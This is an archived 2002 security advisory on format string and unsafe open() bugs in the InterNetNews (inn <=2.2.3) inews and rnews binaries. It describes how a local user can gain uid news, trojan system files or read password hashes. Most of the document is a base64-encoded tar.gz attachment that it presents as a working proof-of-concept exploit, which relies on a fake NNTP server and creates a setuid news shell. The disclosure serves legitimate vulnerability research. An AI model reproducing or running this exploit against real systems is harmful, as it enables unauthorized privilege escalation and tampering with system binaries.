26th Sep 2002 [SBWID-5262]
COMMAND
InterNet News format string overflow
SYSTEMS AFFECTED
inn <=2.2.3
PROBLEM
Paul Starzetz [http://www.starzetz.com] says :
There are several format string coding bugs as well as unsecure open()
calls. In particular the inews and the rnews binaries are affected.
This may lead to serious security problems if those binaries are
installed set-uid and are executable by any user. In the case of inews,
obtaining uid news is possible (which can be further used to
replace/trojan other system files like the binaries themselves), in the
case of rnews, access to probably sensitive inn configuration files
seems possible (like inn password hashes etc).
The attached archive contains a short proof of concept code for one of
the format string bugs (look in the inews.sh script for more details)
in the inews binary. The code has been succesfully tested against SuSE
7.0 where inews and rnews are setuid news. Later distributions seems to
use another security conecept - the binaries are either only setgid
news or are not runnable by ordinary users. The exploitation is
technically difficult - it requires a fake NNTP server setup somewhere
(the code comes with the tar package). Note: this is NOT a remote
exploit. Look at the code for more technical details. The code will
create a setuid news shell.
Exploit :
=======
Content-Type: application/octet-stream;
name="innexpl.tar.gz"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
filename="innexpl.tar.gz"
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
W7VVW7VVW7VVW7VVW7VV+3/Y/g2I/YuhAFAAAA==
SOLUTION
Not yet.